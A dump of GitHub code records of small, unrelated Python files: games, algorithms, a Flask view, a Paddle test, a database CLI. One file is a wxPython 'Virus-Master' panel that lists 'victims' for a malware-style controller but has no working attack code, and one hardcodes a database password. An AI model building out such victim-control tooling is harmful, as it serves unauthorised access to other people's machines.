self.ball.goto(0, 0)\r\n self.ball.get_start_dir()\r\n self.paddle1_scoreboard.print_score()\r\n self.paddle2_scoreboard.print_score()\r\n self.screen.update()\r\n self.screen.listen()\r\n \r\n\r\n\r\ndef main():\r\n game_is_on = False\r\n engine = Engine()\r\n engine.screen.listen()\r\n engine.add_key_controls()\r\n engine.start_game()\r\n\r\n\r\n\r\n engine.screen.exitonclick()\r\n ","repo_name":"jfrancone/BallGame","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":3343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"13985905214","text":"\"\"\"In fibonacci -------> 1 1 2 3 5 8 13 21\n the first two no is return the same but other no will return with recursive fun\n\"\"\"\ndef fibonacci(n:int):\n if n<2: #this one is a base case\n return n\n return fibonacci(n-2)+fibonacci(n-1) #recursive\n\nif __name__ ==\"__main__\":\n fi = fibonacci(7)\n print(\"Total fibonacci result: \",fi)\n","repo_name":"KhineThwe/ComputerScienceProblems","sub_path":"fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"6389605983","text":"from datetime import datetime, timedelta\n\n\ndef get_emoji_top(db_client):\n # print(f'Start getting top emoji')\n\n # Get raw top for each update in DB\n last_day = datetime.now() - timedelta(hours=24, minutes=0)\n raw_data = db_client.find_all('posts-data', { 'date' : { \"$gt\" : last_day } })\n\n # Find emojis top\n top_emoji = {}\n for data in raw_data:\n for obj in data['emoji']:\n if obj['emoji'] in top_emoji:\n top_emoji[obj['emoji']] += obj['mentions']\n else:\n top_emoji[obj['emoji']] = obj['mentions']\n\n # Convert dictionary to list of tuples\n top_emoji_list = sorted([ { 'emoji' : k, 'mentions' : v } for k, v in top_emoji.items() ], key=lambda x : x['mentions'], reverse=True)\n\n # print('Finish calculating top emoji')\n\n return top_emoji_list","repo_name":"KaroliShp/wsb-stonks","sub_path":"backend/app/background_job/emoji_top.py","file_name":"emoji_top.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"29"} +{"seq_id":"4202525695","text":"\"\"\"\nCalculate regularity metrics on dataset.\n\"\"\"\n\nfrom lingrex.copar import CoPaR\nfrom lingpy.sequence.sound_classes import token2class\nimport statistics\n\n\ndef regularity(wordlist, threshold=3, ref=\"cogid\", min_refs=3, missing=\"Ø\",\n gap=\"-\", word_threshold=0.75):\n \"\"\"\n Check regularity in three flavors.\n\n - regularity based on the number of correspondence patterns that have more\n or the same number of sites as threshold\n - the proportion of correspondence patterns identified as regular via\n threshold counting all alignment sites\n - the proportion of words that we judge regular, judging words to be\n regular when more than the proportion word_threshold of sites are judged\n to be regular since they can be assigned to patterns that are covered by\n more than threshol sites\n \"\"\"\n if not hasattr(wordlist, \"clusters\"):\n raise ValueError(\"need a CoPaR object with clusters\")\n patterns = {\n p: len(vals) for p, vals in wordlist.clusters.items()\n }\n regular_patterns = len([p for p, vals in wordlist.clusters.items() if\n len(vals) >= threshold])\n regular_proportion = sum([len(vals) for vals in wordlist.clusters.values()\n if len(vals) >= threshold])\n full_proportion = sum([len(vals) for vals in wordlist.clusters.values()])\n\n # get the proportion of words\n regular_words, irregular_words = 0, 0\n for cogid, msa in filter(\n lambda x: len(set(x[1][\"taxa\"])) >= min_refs, \n wordlist.msa[ref].items()):\n scores = []\n for idx in range(len(msa[\"alignment\"][0])):\n if (cogid, idx) not in wordlist.patterns:\n print(\"warning, duplicate cognate in {0} / {1}\".format(\n cogid, idx))\n else:\n if max([\n len(wordlist.clusters[b, c]) for a, b, c in\n wordlist.patterns[cogid, idx]]) >= threshold:\n scores += [1]\n else:\n scores += [0]\n if statistics.mean(scores) >= word_threshold:\n regular_words += len(set(msa[\"taxa\"]))\n else:\n irregular_words += len(set(msa[\"taxa\"]))\n\n return (\n regular_proportion, \n full_proportion - regular_proportion,\n full_proportion,\n round((regular_proportion / full_proportion),2),\n regular_words,\n irregular_words,\n regular_words + irregular_words,\n round((regular_words / (regular_words + irregular_words)),2)\n )\n","repo_name":"pano-tacanan-history/trimming-paper","sub_path":"lingreg/src/lingreg/reg.py","file_name":"reg.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36028421481","text":"import os\nimport re\nimport unittest\n\nimport numpy as np\n\nimport paddle\nfrom paddle import _C_ops\n\n\ndef get_cuda_version():\n result = os.popen(\"nvcc --version\").read()\n regex = r'release (\\S+),'\n match = re.search(regex, result)\n if match:\n num = str(match.group(1))\n integer, decimal = num.split('.')\n return int(integer) * 1000 + int(float(decimal) * 10)\n else:\n return -1\n\n\ndef promote_dtype(x):\n if x.dtype in [paddle.float16, paddle.bfloat16]:\n return x.astype(paddle.float32)\n else:\n return x\n\n\ndef recreate(x, multi_precision):\n if isinstance(x, (list, tuple)):\n return [recreate(item, multi_precision) for item in x]\n\n if x is None:\n return None\n\n if multi_precision:\n x = promote_dtype(x)\n\n return paddle.to_tensor(x.numpy())\n\n\ndef run_ground_truth(x, dy, dweight, dbias, multi_precision, has_bias):\n x, dy, dweight, dbias = recreate([x, dy, dweight, dbias], multi_precision)\n\n dweight_tmp = paddle.matmul(\n x.reshape([-1, x.shape[-1]]),\n dy.reshape([-1, dy.shape[-1]]),\n transpose_x=True,\n )\n if dweight is None:\n dweight = dweight_tmp\n else:\n assert dweight.shape == dweight_tmp.shape\n assert dweight.dtype == dweight.dtype\n dweight += dweight_tmp\n\n if has_bias:\n dbias_tmp = dy.reshape([-1, dy.shape[-1]]).sum(axis=0)\n if dbias is None:\n dbias = dbias_tmp\n else:\n assert dbias.shape == dbias_tmp.shape\n assert dbias.dtype == dbias_tmp.dtype\n dbias += dbias_tmp\n\n return promote_dtype(dweight).numpy(), promote_dtype(dbias).numpy()\n else:\n return promote_dtype(dweight).numpy()\n\n\ndef run_fused_linear_param_grad_add(\n x, dy, dweight, dbias, multi_precision, has_bias\n):\n dweight_new, dbias_new = _C_ops.fused_linear_param_grad_add(\n x, dy, dweight, dbias, multi_precision, has_bias\n )\n if dweight is not None:\n assert dweight_new.data_ptr() == dweight.data_ptr()\n if has_bias:\n return (\n promote_dtype(dweight_new).numpy(),\n promote_dtype(dbias_new).numpy(),\n )\n else:\n return promote_dtype(dweight_new).numpy()\n\n\nclass TestMainClassBase(unittest.TestCase):\n def setUp(self):\n self.shape = [3, 4, 32]\n self.output_size = 128\n self.dtype = paddle.float16\n\n def config(self):\n pass\n\n def rand(self, shape, dtype=None):\n x = np.random.randint(low=-5, high=5, size=shape)\n x = paddle.to_tensor(x)\n return x.astype(dtype or self.dtype)\n\n def generate_rand_inputs(\n self, has_dweight, has_dbias, multi_precision, has_bias\n ):\n x_shape = self.shape\n dy_shape = self.shape[:-1] + [self.output_size]\n dweight_shape = [self.shape[-1], self.output_size]\n dbias_shape = [self.output_size]\n\n x = self.rand(x_shape)\n dy = self.rand(dy_shape)\n if has_dweight:\n dweight = self.rand(dweight_shape)\n if multi_precision:\n dweight = promote_dtype(dweight)\n else:\n dweight = None\n\n if has_bias and has_dbias:\n dbias = self.rand(dbias_shape)\n if multi_precision:\n dbias = promote_dtype(dbias)\n else:\n dbias = None\n return x, dy, dweight, dbias\n\n def check_main(self, has_dweight, has_dbias, multi_precision, has_bias):\n x, dy, dweight, dbias = self.generate_rand_inputs(\n has_dweight, has_dbias, multi_precision, has_bias\n )\n res1 = run_ground_truth(\n x, dy, dweight, dbias, multi_precision, has_bias\n )\n res2 = run_fused_linear_param_grad_add(\n x, dy, dweight, dbias, multi_precision, has_bias\n )\n self.assertEqual(len(res1), len(res2))\n for r1, r2 in zip(res1, res2):\n max_diff = np.max(np.abs(r1 - r2))\n self.assertLess(max_diff, 1e-10)\n\n def test_main(self):\n if not paddle.is_compiled_with_cuda() or paddle.is_compiled_with_rocm():\n return\n\n prop = paddle.device.cuda.get_device_properties()\n cap = prop.major * 10 + prop.minor\n if self.dtype == paddle.bfloat16 and cap < 80:\n return\n\n if get_cuda_version() < 11060:\n return\n\n for has_dweight in [False, True]:\n for has_bias in [False, True]:\n for has_dbias in [False, True]:\n for multi_precision in [False, True]:\n self.check_main(\n has_dweight, has_dbias, multi_precision, has_bias\n )\n\n\nclass TestMainClassBF16(TestMainClassBase):\n def config(self):\n self.dtype = paddle.bfloat16\n\n\nclass TestMainClassFP32(TestMainClassBase):\n def config(self):\n self.dtype = paddle.float32\n\n\nclass TestMainClassFP64(TestMainClassBase):\n def config(self):\n self.dtype = paddle.float64\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"PaddlePaddle/Paddle","sub_path":"test/legacy_test/test_fused_linear_param_grad_add.py","file_name":"test_fused_linear_param_grad_add.py","file_ext":"py","file_size_in_byte":5066,"program_lang":"python","lang":"en","doc_type":"code","stars":21032,"dataset":"github-code","pt":"29"} +{"seq_id":"33783718626","text":"import os\r\nimport time\r\n\r\nfrom art import logo\r\n\r\nalphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',\r\n 'v', 'w', 'x', 'y', 'z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\r\n 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\r\n\r\n\r\ndef caeser_cipher():\r\n \"\"\"start the Caesar Cipher.\"\"\"\r\n\r\n def code_the_msg(msg, shift_num):\r\n \"\"\"Encode or Decode the given msg.\"\"\"\r\n final_msg = []\r\n for char in list(msg):\r\n temp_char = char.lower()\r\n if temp_char in alphabet:\r\n encoded_letter = alphabet[alphabet.index(temp_char) + shift_num]\r\n if char.isupper():\r\n encoded_letter = encoded_letter.upper()\r\n final_msg.append(encoded_letter)\r\n else:\r\n final_msg.append(char)\r\n\r\n return \"\".join(final_msg)\r\n\r\n while True:\r\n try: # Get user inputs: encode or decode, msg and shift number\r\n os.system(\"cls\")\r\n print(logo)\r\n direction = input(\"Type 'encode' to encrypt, type 'decode' to decrypt:\\n\").lower()\r\n text = input(\"Type your message:\\n\")\r\n shift = int(input(\"Type the shift number:\\n\")) % 26\r\n\r\n if direction == \"encode\":\r\n shift = abs(shift)\r\n elif direction == \"decode\":\r\n shift = -shift\r\n else:\r\n print(\"Please enter valid inputs.\")\r\n time.sleep(1)\r\n continue\r\n break\r\n except: # If user inputs invalid inputs run again.\r\n print(\"Please enter valid inputs.\")\r\n time.sleep(1)\r\n\r\n print(code_the_msg(text, shift))\r\n\r\n go_again = input(\"Type 'yes' if you want to go again. Otherwise type 'no'.\\n\").lower()\r\n\r\n if go_again == \"yes\":\r\n caeser_cipher()\r\n\r\n\r\ncaeser_cipher()\r\n","repo_name":"PasanMadhuranga/100-Days-of-Code","sub_path":"8 Caesar Cipher/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"6919162074","text":"# Author @Brian Tucker\n# Jan 2018\n\n# polynomial regression\n\n# importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# importing the dataset 1:2 is set to keep X as a matrix\ndataset = pd.read_csv('Position_Salaries.csv')\nX = dataset.iloc[:, 1:2].values\ny = dataset.iloc[:, 2].values\n\n\n# fitting linear regression to the dataset\nfrom sklearn.linear_model import LinearRegression\nreg_lin = LinearRegression()\nreg_lin.fit(X, y)\n\n# fitting polynomial regressions to the dataset\nfrom sklearn.preprocessing import PolynomialFeatures\nreg_poly = PolynomialFeatures(degree= 4)\nX_poly = reg_poly.fit_transform(X)\nreg_lin2 = LinearRegression()\nreg_lin2.fit(X_poly, y)\n\n# visualising the linear regression results\nplt.scatter(X, y, color='red')\nplt.plot(X, reg_lin.predict(X), color = 'blue')\nplt.title('True Salary or Fabricated Salary [LinearRegression]')\nplt.xlabel('Position level')\nplt.ylabel('Salary')\nplt.show()\n\n# visualising the polynomial regression results\nX_grid = np.arange(min(X), max(X), 0.1)\nX_grid = X_grid.reshape((len(X_grid), 1))\nplt.scatter(X, y, color='red')\nplt.plot(X_grid, reg_lin2.predict(reg_poly.fit_transform(X_grid)), color = 'blue')\nplt.title('True Salary or Fabricated Salary [PolynomialRegression]')\nplt.xlabel('Position level')\nplt.ylabel('Salary')\nplt.show()","repo_name":"braintucker/PythonML","sub_path":"1. Regression/S6PolynomialRegression/polynomial_regression.py","file_name":"polynomial_regression.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"22124820326","text":"# *-* coding: utf-8 *-*\nfrom . import main\nfrom flask import url_for, render_template, current_app, abort, redirect, request\nimport MySQLdb\nimport json\nfrom app import logger\nfrom ..python.geo_info import geo_info\n\n\n@main.route('/')\ndef index():\n try:\n # 从数据库查询第一个图表需要的信息\n sql = '''select city,count(*) from job_info group by city order by count(*) DESC limit 30 '''\n current_app.cur.execute(sql)\n results = current_app.cur.fetchall()\n if not results:\n logger.warning('main.index mysqldb errer has no city')\n abort(404)\n # 岗位数量\n job_category_counts = [int(x[1]) for x in results]\n # 不同城市名称\n city_category = [x[0].encode('utf-8') for x in results]\n city_category = json.dumps(city_category)\n # 从数据库查询第二个图表需要的信息\n sql = '''select keyword,count(*) from job_info group by keyword order by count(*) DESC limit 20'''\n current_app.cur.execute(sql)\n results = current_app.cur.fetchall()\n if not results:\n logger.warning('main.index mysqldb errer has no keyword')\n abort(404)\n # 职业饼形图需要json格式\n keyword_json = {key[0].encode('utf-8'):int(key[1]) for key in results}\n keyword_json = json.dumps(keyword_json)\n # 从数据库查询第三个图表需要的信息\n sql = 'select salary,count(*) from job_info group by salary order by count(*) DESC limit 30'\n current_app.cur.execute(sql)\n results = current_app.cur.fetchall()\n if not results:\n logger.warning('main.index mysqldb errer has no salary')\n abort(404)\n # 薪资饼形图需要json格式\n salary_json = {key[0].encode('utf-8'):int(key[1]) for key in results}\n salary_json = json.dumps(salary_json)\n logger.info('success main.index url: %s ip: %s' % (request.url, request.remote_addr))\n # 全国分布图需要数据\n sql = ''' select city,count(*) from job_info group by city order by count(*) DESC limit 300'''\n current_app.cur.execute(sql)\n results = current_app.cur.fetchall()\n data = [dict(name=x[0].encode('utf-8'), value=int(x[1])) for x in results]\n data = json.dumps(data)\n geoCoordMap = json.dumps(geo_info)\n return render_template('main/index.html', job_category_counts=job_category_counts, city_category=city_category, keyword_json=keyword_json,salary_json=salary_json, data=data, geoCoordMap=geoCoordMap)\n except Exception as e:\n logger.warning('main.index error: %s url: %s ip: %s' % (e, request.url, request.remote_addr))\n redirect(url_for('main.index'))\n\n# 在第一个请求发起时连接数据库\n@main.before_app_first_request\ndef mysql_conn():\n current_app.conn = MySQLdb.connect(host='localhost', user='root', passwd='qwer', charset='utf8', db='lagou')\n current_app.cur = current_app.conn.cursor()\n logger.debug('connect mysql success')\n","repo_name":"ioiogoo/internet_job_analysis","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3058,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"29"} +{"seq_id":"13495975518","text":"import serial\r\nfrom firebase import firebase\r\nfrom time import sleep\r\nfrom datetime import datetime\r\nimport serial.tools.list_ports\r\n\r\n\r\nports = serial.tools.list_ports.comports()\r\nfor port, desc, hwid in sorted(ports):\r\n print(\"{}: {} [{}]\".format(port, desc, hwid))\r\n\r\n\r\n\r\nser = serial.Serial(\"COM2\", 9600)\r\ntest1 = str(ser.readline())\r\nprint(test1)\r\ni=0 \r\nres =1\r\ntime=datetime.now().strftime(\"%d-%m-%Y %H:%M:%S\")\r\nprint(time)\r\n\r\nwhile res:\r\n firebase1 = firebase.FirebaseApplication('https://earthquake-detection-default-rtdb.firebaseio.com/', None)\r\n \r\n for i in range(0,4):\r\n Axisx = Axisy = Axisz = str(ser.readline())\r\n Axisx = Axisx[5:][:-26]\r\n Axisy = Axisy[14:][:-16]\r\n Axisz = Axisz[23:][:-7]\r\n data1 = { 'date': datetime.now().strftime(\"%Y-%m-%d\"),\r\n 'reading':Axisx,\r\n 'time': datetime.now().strftime(\"%H:%M\") \r\n }\r\n data2 = { 'date': datetime.now().strftime(\"%Y-%m-%d\"),\r\n 'reading':Axisy,\r\n 'time': datetime.now().strftime(\"%H:%M\") \r\n }\r\n data3 = { 'date': datetime.now().strftime(\"%Y-%m-%d\"),\r\n 'reading':Axisz,\r\n 'time': datetime.now().strftime(\"%H:%M\") \r\n }\r\n\r\n result1 = firebase1.patch('/X-Axis/'+ str(i), data1)\r\n result2 = firebase1.patch('/Y-Axis/'+ str(i), data2)\r\n result3 = firebase1.patch('/Z-Axis/'+ str(i), data3)\r\n print(result1,result2,result3)\r\n res = 0\r\n \r\n\r\n \r\n\r\n","repo_name":"Tinkerers-Lab-VESIT-ETRX/IoT-based-earthquake-prediction-10","sub_path":"Earthquake_Detection.py","file_name":"Earthquake_Detection.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16814954004","text":"from unittest.mock import Mock\n\nfrom hamcrest import assert_that, has_properties, instance_of, is_, is_not\n\nfrom multibar.api.writers import ProgressbarWriterAware\nfrom multibar.impl.writers import ProgressbarWriter\nfrom tests.pyhamcrest import subclass_of\n\n\nclass TestProgressbarWriter:\n def test_base(self) -> None:\n writer_state = ProgressbarWriter()\n\n assert_that(ProgressbarWriter, subclass_of(ProgressbarWriterAware))\n assert_that(\n writer_state,\n has_properties(\n {\n \"signature\": is_not(None),\n \"sector_cls\": is_not(None),\n \"progressbar_cls\": is_not(None),\n \"calculation_cls\": is_not(None),\n },\n ),\n )\n\n def test_alternative_constructors(self) -> None:\n writer_state = ProgressbarWriter.from_signature(Mock())\n assert_that(writer_state, instance_of(ProgressbarWriter))\n\n def test_bind_signature(self) -> ProgressbarWriter:\n writer_state = ProgressbarWriter()\n mock_signature = Mock()\n\n assert_that(writer_state.signature, is_not(mock_signature))\n\n writer_state.bind_signature(mock_signature)\n assert_that(writer_state.signature, is_(mock_signature))\n","repo_name":"Animatea/python-multibar","sub_path":"tests/unit/impl/test_writers.py","file_name":"test_writers.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"29"} +{"seq_id":"7306008353","text":"import wx\nimport wx.xrc\n\nclass MainFrame ( wx.Frame ):\n\tdef __init__( self, parent ):\n\t\twx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u\"Virus-Master\", pos = wx.DefaultPosition, size = wx.Size( 600,500 ), style = wx.DEFAULT_FRAME_STYLE|wx.TAB_TRAVERSAL )\n\n\t\tself.SetSizeHints( wx.DefaultSize, wx.DefaultSize )\n\n\t\tbSizer1 = wx.BoxSizer( wx.VERTICAL )\n\n\t\tfgSizer4 = wx.FlexGridSizer( 0, 2, 0, 0 )\n\t\tfgSizer4.SetFlexibleDirection( wx.BOTH )\n\t\tfgSizer4.SetNonFlexibleGrowMode( wx.FLEX_GROWMODE_SPECIFIED )\n\n\n\t\tfgSizer4.Add( ( 200, 0), 1, wx.EXPAND, 5 )\n\n\t\tself.title_lable = wx.StaticText( self, wx.ID_ANY, u\"Virus Master\", wx.DefaultPosition, wx.Size( -1,50 ), 0 )\n\t\tself.title_lable.Wrap( -1 )\n\n\t\tself.title_lable.SetFont( wx.Font( 18, wx.FONTFAMILY_DEFAULT, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, wx.EmptyString ) )\n\n\t\tfgSizer4.Add( self.title_lable, 0, wx.ALL, 5 )\n\n\n\t\tbSizer1.Add( fgSizer4, 1, wx.EXPAND, 5 )\n\n\t\tfgSizer2 = wx.FlexGridSizer( 0, 2, 0, 0 )\n\t\tfgSizer2.SetFlexibleDirection( wx.BOTH )\n\t\tfgSizer2.SetNonFlexibleGrowMode( wx.FLEX_GROWMODE_SPECIFIED )\n\n\t\tself.victims_listChoice = []\n\t\tself.victims_list = wx.ListBox( self, wx.ID_ANY, wx.Point( -1,-1 ), wx.Size( 200,400 ), self.victims_listChoice, 0 )\n\t\tfgSizer2.Add( self.victims_list, 0, wx.ALL, 5 )\n\t\t\n\t\tself.Bind(wx.EVT_LISTBOX, self.OnSelect, self.victims_list)\n\n\t\tbSizer3 = wx.BoxSizer( wx.VERTICAL )\n\n\t\tchat_listChoices = []\n\t\tself.chat_list = wx.ListBox( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 350,350 ), chat_listChoices, 0 )\n\t\tbSizer3.Add( self.chat_list, 0, wx.ALL, 5 )\n\n\t\tfgSizer3 = wx.FlexGridSizer( 0, 2, 0, 0 )\n\t\tfgSizer3.SetFlexibleDirection( wx.BOTH )\n\t\tfgSizer3.SetNonFlexibleGrowMode( wx.FLEX_GROWMODE_SPECIFIED )\n\n\t\tself.input_message = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 270,-1 ), 0 )\n\t\tfgSizer3.Add( self.input_message, 0, wx.ALL, 5 )\n\n\t\tself.send_btn = wx.Button( self, wx.ID_ANY, u\"Send\", wx.Point( 0,2 ), wx.DefaultSize, 0 )\n\t\tfgSizer3.Add( self.send_btn, 0, wx.ALL, 5 )\n\n\t\tself.send_btn.Bind(wx.EVT_BUTTON, self.OnSendBtn)\n\n\n\t\tbSizer3.Add( fgSizer3, 1, wx.EXPAND, 5 )\n\n\n\t\tfgSizer2.Add( bSizer3, 1, wx.EXPAND, 5 )\n\n\n\t\tbSizer1.Add( fgSizer2, 1, wx.EXPAND, 5 )\n\n\n\t\tself.SetSizer( bSizer1 )\n\t\tself.Layout()\n\n\t\tself.Centre( wx.BOTH )\n\n\tdef OnSendBtn(self, event):\n\t\tinputMessage = self.input_message.GetValue()\n\t\tprint(inputMessage)\n\tdef OnSelect(self, event):\n\t\t#clear the chat and make sure that we send the message to the right person\n\t\tselected = event.GetSelection()\n\t\tprint(selected)\n\t\n \n\tdef __del__( self ):\n\t\tpass\n\n\n","repo_name":"eyalstav/Virus","sub_path":"Master/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"37825521639","text":"# ライブラリのインポート\r\nimport sys\r\n# import heapq,copy\r\nimport pprint as pp\r\nfrom collections import Counter,defaultdict\r\n# pypy3用\r\n# import pypyjit\r\n# 再帰制御解放\r\n# pypyjit.set_param('max_unroll_recursion=-1')\r\n# sys.setrecursionlimit(10**6)\r\nfrom logging import getLogger, StreamHandler, DEBUG\r\n\r\n# 入力のマクロ\r\ndef II(): return int(sys.stdin.readline())\r\ndef MI(): return map(int, sys.stdin.readline().split())\r\ndef LI(): return list(map(int, sys.stdin.readline().split()))\r\ndef LLI(rows_number): return [LI() for _ in range(rows_number)]\r\n\r\n# デバッグ出力の作成\r\nlogger = getLogger(__name__)\r\nhandler = StreamHandler()\r\nhandler.setLevel(DEBUG)\r\nlogger.setLevel(DEBUG)\r\nlogger.addHandler(handler)\r\nlogger.propagate = False\r\n\r\n# クラス+メソッドを一関数\r\nxdebug=logger.debug\r\nppp=pp.pprint\r\n# Const\r\nMAXSIZE = ( 1 << 59 ) -1\r\nMINSIZE = -( 1 << 59) + 1\r\n\r\nclass UnionFind():\r\n def __init__(self,n):\r\n self.n = n\r\n self.parents=[-1]*n\r\n def find(self,x):\r\n # str2=\" \".join(f\"{self.parents[j]}\" for j in range(0,self.n))\r\n # xdebug(f\"今の親セット {str2}\")\r\n if self.parents[x]<0:\r\n return x\r\n else:\r\n # xdebug(f\"self.parents[{x}]={self.parents[x]}>0よりこれの親を取ってきます\")\r\n self.parents[x]=self.find(self.parents[x])\r\n # def union(self,x,y):\r\n # # xdebug(f\"{a}と{b}を結合します\")\r\n # x = self.find(x)\r\n # y = self.find(y)\r\n # if x == y:\r\n # return\r\n # str2=\" \".join(f\"{self.parents[j]}\" for j in range(0,self.n))\r\n # xdebug(f\"今の親セット {str2}\")\r\n # if self.parents[y] < self.parents[x]:\r\n # x,y=y,x\r\n # # self.parents[x]=self.parents[x]+self.parents[y]\r\n # # self.parents[y]=x\r\n # self.parents[x] += self.parents[y]\r\n # self.parents[y] = x\r\n # return\r\n def union(self, x, y):\r\n x = self.find(x)\r\n y = self.find(y)\r\n if x == y:\r\n return\r\n if self.parents[x] > self.parents[y]:\r\n x, y = y, x\r\n self.parents[x] += self.parents[y]\r\n self.parents[y] = x\r\n def size(self,x):\r\n res = (-1)*self.parents[self.find(x)]\r\n return res\r\n def same(self,x,y):\r\n xroot = self.find(x)\r\n yroot = self.find(y)\r\n res = (xroot==yroot)\r\n return res\r\n def members(self,x):\r\n xroot = self.find(x)\r\n res = [j for j in range(0,self.n) if self.find(j) == xroot]\r\n return res\r\n def roots(self):\r\n res = [j for j , x in enumerate(self.parents) if x < 0]\r\n return res\r\n def group_count(self):\r\n res_bef=self.roots()\r\n return len(res_bef)\r\n def all_group_members(self):\r\n group_members = defaultdict(list)\r\n for j in range(0,self.n):\r\n jroot = self.find(j)\r\n group_members[jroot].append(j)\r\n return group_members\r\n def __str__(self):\r\n res = \"\\n\".join(f\" {root} : {mem}\" for root,mem in self.all_group_members().items() )\r\n return res\r\ndef solver():\r\n result = 0\r\n CCL=[]\r\n uf = UnionFind(N)\r\n # xdebug(\"初期状態\")\r\n xdebug(uf)\r\n for j in range(0,N):\r\n CCL.append(Counter([CL[j]]))\r\n for _ in range(0,Q):\r\n a,b,c = MI()\r\n xdebug(f\"a={a},b={b},c={c}\")\r\n if a == 1:\r\n b = b-1\r\n c = c-1\r\n if not uf.same(b,c):\r\n uf.union(b,c)\r\n xdebug(uf)\r\n # else:\r\n # xdebug(f\"{b}と{c}は同じグループのため接続しない\")\r\n # algorithm\r\n return result\r\n\r\nif __name__ == \"__main__\":\r\n global N,Q\r\n N,Q = MI()\r\n global CL\r\n CL = LI()\r\n solver()\r\n","repo_name":"happyhappyhappyhappy/pythoncode","sub_path":"atcoder/mizuiro_h20/unionfind/ABC183F_Confluence/second/submit2d.NG.py","file_name":"submit2d.NG.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"39577155564","text":"# Not the most optimized solution, but if you get any please let me know in the comments.\n\nclass Solution:\n def allCellsDistOrder(self, rows: int, cols: int, rCenter: int, cCenter: int) -> List[List[int]]:\n coordinates = []\n dist = []\n hashmap = defaultdict(list)\n \n for r in range(0,rows):\n for c in range(0,cols):\n coordinates.append([r,c])\n \n for i in coordinates:\n distance = abs(i[0] - rCenter) + abs(i[1] - cCenter)\n dist.append(distance)\n hashmap[distance].append(i)\n \n arr = []\n dist = sorted(list(set(dist)))\n \n for i in dist:\n arr.extend(hashmap[i])\n\n return arr\n","repo_name":"saurav935/DSA-Java-Bootcamp","sub_path":"Leetcode assignments/Sorting/Easy/15. Matrix Cells in Distance Order.py","file_name":"15. Matrix Cells in Distance Order.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"74352134797","text":"from typing import Tuple\nimport psycopg2\n\ndef connect():\n conn = psycopg2.connect(host=\"localhost\", port=\"5432\", dbname=\"music_player\")\n cur = conn.cursor()\n return (conn, cur)\n\ndef quit(conn, cur):\n conn.commit()\n cur.close()\n conn.close()\n\ndef login() -> Tuple[bool, int]:\n '''\n Prompt User to give a publisher id\n check if matches with existing record.\n If so, login and return (true, publisher_id)\n if not, return (false, anything)\n\n Possible Error:\n 1. publisher_id not exists\n print corresponding error message before return\n '''\n flag = False\n id = -1\n conn, cur = connect()\n try:\n publisher_id = int(input(\"Please Enter Your Id: \"))\n query = \"select * from publisher where publisher_id = %s\"\n cur.execute(query, (publisher_id,))\n publisher = cur.fetchone()\n if publisher is not None:\n print(\"Login Success! Welcome: {}\".format(publisher[1]))\n flag = True\n id = publisher_id\n else:\n print(\"Login Failed: No Record For id: {}\".format(publisher_id))\n except ValueError:\n print(\"Id Should be a Number\")\n\n quit(conn, cur)\n return (flag, id)\n\ndef register() -> Tuple[bool, int]:\n '''\n Prompt User to give a publisher id and register\n\n Possible Error:\n 1. publisher_id already exists\n print corresponding error message before return\n '''\n flag = False\n id = -1\n\n user_input = input(\"Please Enter an Id and Name split by ',': \").split(',')\n if len(user_input) != 2:\n print(\"Invalid Input: Please Enter Exactly two arguments\")\n return (False, 0)\n publisher_id = 0\n publisher_name = user_input[1]\n try:\n publisher_id = int(user_input[0])\n except ValueError:\n print(\"Invalid Input: Publisher Id should be a number\")\n quit(conn, cur)\n return (flag, id)\n\n query = \"insert into publisher values (%s, %s)\"\n conn, cur = connect()\n try:\n cur.execute(query, (publisher_id, publisher_name))\n print(\"Successfully Registered publisher {}: {}\".format(publisher_id, publisher_name))\n flag = True\n id = publisher_id\n except psycopg2.errors.UniqueViolation:\n print(\"Publisher ID Already Exists: Please Login\")\n\n quit(conn, cur)\n return (flag, id)\n\ndef list_contracts(publisher_id: int):\n '''\n List all contracts belong to the publisher\n '''\n query = \"select * from contract_t where publisher_id = %s\"\n conn, cur = connect()\n cur.execute(query, (publisher_id, ))\n print(\"---------Contract Detail For Publisher: {}---------\".format(publisher_id))\n for record in cur:\n contract_id = record[0]\n 